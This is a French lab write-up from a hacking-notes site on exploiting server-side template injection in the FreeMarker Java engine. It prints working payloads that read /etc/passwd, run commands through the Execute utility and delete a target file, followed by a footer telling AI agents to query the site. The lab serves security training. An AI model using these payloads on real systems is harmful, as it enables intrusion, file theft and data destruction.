> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI à l'aide de la documentation du moteur de templates Java

### Injection de modèle côté serveur à l'aide de la documentation

Ce laboratoire présente une vulnérabilité **SSTI**. L'objectif est d'identifier le moteur de templates utilisé, de consulter sa documentation pour comprendre comment exécuter du code arbitraire, puis de supprimer le fichier moral. txt dans le répertoire Carlos. / Les identifiants fournis sont : **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/53ff139b54b7ddf61d7e22fbd8b23eb4c503b836" alt=""><figcaption></figcaption></figure>

### **Analyse du template**

Dans les commentaires, une expression est donnée par le moteur :

* Test simple :

```java
${7*7}
```

<figure><img src="/files/7bdaf1121dcedc323ad23313dab611d8497d848e" alt=""><figcaption></figcaption></figure>

* Une erreur révèle que le moteur utilisé est **Freemarker (Java)**.
* Une nouvelle expression comme `${7*a}` confirme l'interprétation du template.

```java
${7*a}
```

<figure><img src="/files/ef078b4a6fc645787bdadd0dae885c8921ae0584" alt=""><figcaption></figcaption></figure>

#### **Lecture de fichier**

Pour lire le fichier /etc/passwd, les méthodes accessibles via l'objet sont utilisées :

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/a216fbe8a1d0ec7b834da8b5c5fe7cadf0303e6c" alt=""><figcaption></figcaption></figure>

#### **Exécution de commandes**

Freemarker permet d'invoquer `Exécuter` l'utilitaire :

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/0bc2d2a0d4db8ef9acc77cb5e9b7377c74b338f5" alt=""><figcaption></figcaption></figure>

#### **Fichier cible supprimé**

Pour supprimer moral.txt du répertoire Carlos :

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
